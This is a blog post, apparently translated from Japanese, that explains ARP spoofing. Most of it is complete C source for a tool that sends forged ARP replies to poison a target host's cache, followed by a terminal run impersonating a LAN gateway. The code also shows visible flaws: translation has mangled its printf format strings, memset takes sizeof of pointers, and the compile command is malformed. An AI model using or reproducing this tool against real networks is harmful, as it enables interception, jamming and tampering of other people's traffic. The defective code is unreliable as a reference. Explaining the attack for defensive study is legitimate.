[LINUX] I tried ARP spoofing

Introduction

I tried ARP spoofing, which is an attack that uses the properties of ARP (Address Resolution Protocol).

environment

ARP In the first place, ARP (Address Resolution Protocol) is for mapping IP addresses to MAC addresses. Assuming a general LAN, for example, when Host A wants to communicate with a router, Host A broadcasts an ARP request using the router's IP address (IP-R).

図1.png

When the router receives the request, it returns an ARP reply to host A to convey its MAC address.

図2.png

When Host A receives the ARP reply, it updates its ARP cache and is able to communicate with the router. 図3.png

ARP spoofing

ARP spoofing is an attack that takes advantage of this ARP property. ARP has the property of being used in two major attacks.

--Stateless protocol --Unable to verify the identity of the sender

From the above, even if an invalid ARP packet is received, the cache will be updated.

Suppose there are attackers in the same segment. An attacker sends an ARP reply to Host A using the router's IP address in order to rewrite Host A's cache to a malicious one.

図4.png

If Host A receives a malformed ARP packet, it will update the cache and ARP spoofing will succeed.

図5.png

Successful ARP spoofing will allow all Host A packets to reach the attacker. As a result, the attacker

--Eavesdropping of communication --Communication jamming --Communication tampering

Such actions are possible.

ARP spoofing experiment

There are several tools for ARP spoofing. ARP spoofing can be executed simply by rewriting the source IP address of the ARP packet to be sent, so I think it is relatively simple to implement.

So I actually wrote it. (Roughly)

arpspoofing.h


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define IP_CHAR_LEN 15

//Creating an ARP socket
int create_arp_sock();

//IP from interface name,Get MAC address
void set_if_info(int sock, char *if_name, char* if_ip, unsigned char* if_mac);

//Socket address
void set_sockaddr(struct sockaddr_ll *sll, char *if_name);

//ARP settings
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op);

//Get MAC address of target host
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac);

//Convert string to MAC address of unsigned char
void char2mac(char* macadd, unsigned char* mac_str);

//MAC address output
void print_macaddr(unsigned char* macaddr);

//Perform ARP spoofing
void arp_spoofing(char *argv[]);

arpspoofing.c


#include "arpspoofing.h"

int create_arp_sock()
{
    int arp_sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (arp_sock < 0)
    {
        perror("arp sock");
        printf("errno: %d\n", errno);
        return 1;
    }
    return arp_sock;
}

void set_if_info(int sock, char *if_name, char* if_ip,unsigned char* if_mac)
{
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_addr.sa_family = AF_INET;
    memcpy(ifr.ifr_name, if_name, 6);
    
    //Obtaining an IP address
    if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
    {
        perror("ip addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_ip, inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), IP_CHAR_LEN);

    //Get MAC address
    if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0)
    {
        perror("mac addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_mac, ifr.ifr_hwaddr.sa_data, 6); 

}

void set_sockaddr(struct sockaddr_ll *sll, char *if_name)
{
    memset(sll, 0x0, sizeof(sll));                  
    sll->sll_family = AF_PACKET;                    /*Always AF_PACKET */
    sll->sll_protocol = htons(ETH_P_ARP);           /*Physical layer protocol*/
    sll->sll_ifindex = if_nametoindex(if_name);     /*Interface number*/
    sll->sll_halen = 6;                             /*Address length*/
    memset(&sll->sll_addr, 0xff, 6);                /*Physical layer address*/
}

void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op)
{
    memset(arpPacket, 0x0, sizeof(arpPacket));
    arpPacket->arp_hrd = htons(1);                  /* Format of hardware address.  */
    arpPacket->arp_pro = htons(ETHERTYPE_IP);       /* Format of protocol address.  */
    arpPacket->arp_hln = 6;                         /* Length of hardware address.  */
    arpPacket->arp_pln = 4;                         /* Length of protocol address.  */
    arpPacket->arp_op = htons(op);                  /* ARP opcode (command).  */

    memcpy(arpPacket->arp_sha, s_mac, 6);                       //Source MAC
    inet_aton(s_ip, (struct in_addr *)&arpPacket->arp_spa);     //Source IP
    memcpy(arpPacket->arp_tha, t_mac, 6);                       //Destination MAC
    inet_aton(t_ip, (struct in_addr *)&arpPacket->arp_tpa);     //Destination IP
}

void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac)
{
    //Repeat until the MAC address of the specified IP address can be resolved
    while(1)
    {
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
            0, (struct sockaddr *)&sll, sizeof(sll)) < 0){
            perror("sendto");
            printf("errno: %d\n", errno);
            break;
        }
        char buf[256];
            memset(buf,0x0,sizeof(buf));
            int arp_size = recvfrom(arp_sock, buf, sizeof(buf), 0, NULL, NULL);

            //When an ARP packet arrives
            if(arp_size < 0) {
                printf("errno: %d\n",errno);
            }else{
                struct ether_arp *ether_arp = (struct ether_arp*) buf;
                char ip_address[IP_CHAR_LEN];
                memcpy(ip_address, inet_ntop(AF_INET, ether_arp->arp_spa, ip_address, IP_CHAR_LEN), IP_CHAR_LEN);

                //If you can get the MAC address of the specified IP address
                if(strcmp((t_ip), ip_address) == 0){
                    memcpy(t_mac, ether_arp->arp_sha, 6);
                    printf("%MAC address of s-> ", t_ip); 
                    print_macaddr(t_mac);
                    break;
                }else{
                    printf("%Acquiring MAC address of s...\n", t_ip);
                }

            }
        sleep(3);
    }
}

void char2mac(char* macadd, unsigned char* mac_str){
    char* mac = macadd;
    char temp[3];
    int i;
    for(i = 0; i < 6; i++){
        temp[0] = mac[i * 3 + 0];
        temp[1] = mac[i * 3 + 1];
        temp[2] = 0x00;
        mac_str[i] = strtol(temp, NULL, 16);
    }

}

void print_macaddr(unsigned char* macaddr) 
{
   printf(" %02x:%02x:%02x:%02x:%02x:%02x\n",macaddr[0],macaddr[1],macaddr[2],macaddr[3],macaddr[4],macaddr[5]);
}


void arp_spoofing(char *argv[])
{

    char if_ip[IP_CHAR_LEN];    //Your IP address
    unsigned char if_mac[6];    //My MAC address
    char t_ip[IP_CHAR_LEN];     //IP address of the target host
    unsigned char t_mac[6];     //MAC address of the target host
    char fake_ip[IP_CHAR_LEN];  //IP of the host you want to impersonate
 
    //Creating an ARP socket
    int arp_sock = create_arp_sock();

    //IP from interface name,Get MAC address
    set_if_info(arp_sock, argv[1], if_ip, if_mac);

    //Socket address
    struct sockaddr_ll sll;
    set_sockaddr(&sll, argv[1]);

    //bind
    if(bind(arp_sock, (struct sockaddr*)&sll, sizeof(sll)) < 0) 
    {
        perror("bind");
        printf("errno: %d\n",errno);
        return;
    }

    //arp packet settings(For acquiring the MAC address of the target host)
    char2mac("00:00:00:00:00:00",t_mac);
    memcpy(t_ip, argv[3], IP_CHAR_LEN);
    struct ether_arp arpPacket;
    set_arp_header(&arpPacket, if_mac, if_ip, t_mac, t_ip, ARPOP_REQUEST);

    //Get MAC address of target host
    get_t_mac(arp_sock, arpPacket, sll, sizeof(sll), t_ip, t_mac);

    //arp packet settings(For ARP spoofing)
    memcpy(fake_ip, argv[2], IP_CHAR_LEN); 
    set_arp_header(&arpPacket, if_mac, fake_ip, t_mac, t_ip, ARPOP_REPLY);
    int count = 0;

    //ARP spoofing
    printf("-------------------------------------------\n");
    printf("Sender MAC : "); print_macaddr(if_mac);
    printf("Sender IP  : %s \n", fake_ip);                             
    printf("Target MAC : "); print_macaddr(t_mac);
    printf("Target IP  : %s \n", t_ip);      
    printf("-------------------------------------------\n");

    while(count < 3){ 
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
                    0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
        {
            perror("sendto");
            printf("errno: %d\n", errno);
            return;
        }
        printf("%s is at", fake_ip); print_macaddr(if_mac);
        sleep(3);
        count++;
    }

    close(arp_sock);
    return;
}


int main(int argc, char *argv[])
{
    //Argument check
    if(argc < 4){
        printf("usage: <if name> <src IP> <dst IP> \n");
        return 0;
    }

    printf("start arp spoofing...\n");
    arp_spoofing(argv);
    printf("arp spoofing succeeded!\n");

}

This time, let's run it as an example when an attacker pretends to be "192.168.11.1" against a host of "192.168.11.15". The attacker IP and MAC addresses at this time are as follows.

Attacker IP address Attacker MAC address
192.168.11.16 00:0c:29:2d:52:d6

Terminal


$ gcc -o arpspoofing.c
$ sudo ./arpspoofing ens33 192.168.11.1 192.168.11.15
start arp spoofing...
192.168.11.15 MAC addresses->  <192.168.11.15 MAC addresses>
-------------------------------------------
Sender MAC : 00:0c:29:2d:52:d6
Sender IP  : 192.168.11.1
Target MAC : <192.168.11.15 MAC addresses>
Target IP  : 192.168.11.15
-------------------------------------------
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
arp spoofing succeeded!

Let's check the ARP cache of "192.168.11.15".

image.png

It was certainly rewritten, and it was confirmed that the same MAC address was registered in the ARP cache.

Summary

ARP spoofing is scary because it can be a big threat for its ease of execution.

Recommended Posts

I tried ARP spoofing
I tried scraping
I tried PyQ
I tried AutoKeras
I tried papermill
I tried django-slack
I tried Django
I tried spleeter
I tried cgo
I tried using argparse
I tried using anytree
I tried competitive programming
I tried using aiomysql
I tried using Summpy
I tried Python> autopep8
I tried using coturn
I tried using Pipenv
I tried using matplotlib
I tried using "Anvil".
I tried using Hubot
I tried using ESPCN
I tried PyCaret2.0 (pycaret-nightly)
I tried using openpyxl
I tried deep learning
I tried AWS CDK!
I tried using Ipython
I tried to debug.
I tried using PyCaret
I tried using cron
I tried Kivy's mapview
I tried using ngrok
I tried using face_recognition
I tried to paste
I tried using Jupyter
I tried using PyCaret
ARP spoofing with python
I tried moving EfficientDet
I tried shell programming
I tried using Heapq
I tried using doctest
I tried Python> decorator
I tried running TensorFlow
I tried Auto Gluon
I tried using folium
I tried using jinja2
I tried AWS Iot
I tried Bayesian optimization!
I tried using folium
I tried using time-window
I tried Value Iteration Networks
I tried fp-growth with python
I tried scraping with Python
I tried AutoGluon's Image Classification
I tried Learning-to-Rank with Elasticsearch!
[I tried using Pythonista 3] Introduction
I tried using easydict (memo).
I tried to organize SVM.
I tried face recognition using Face ++
I tried using Random Forest
I tried clustering with PyCaret
I tried using BigQuery ML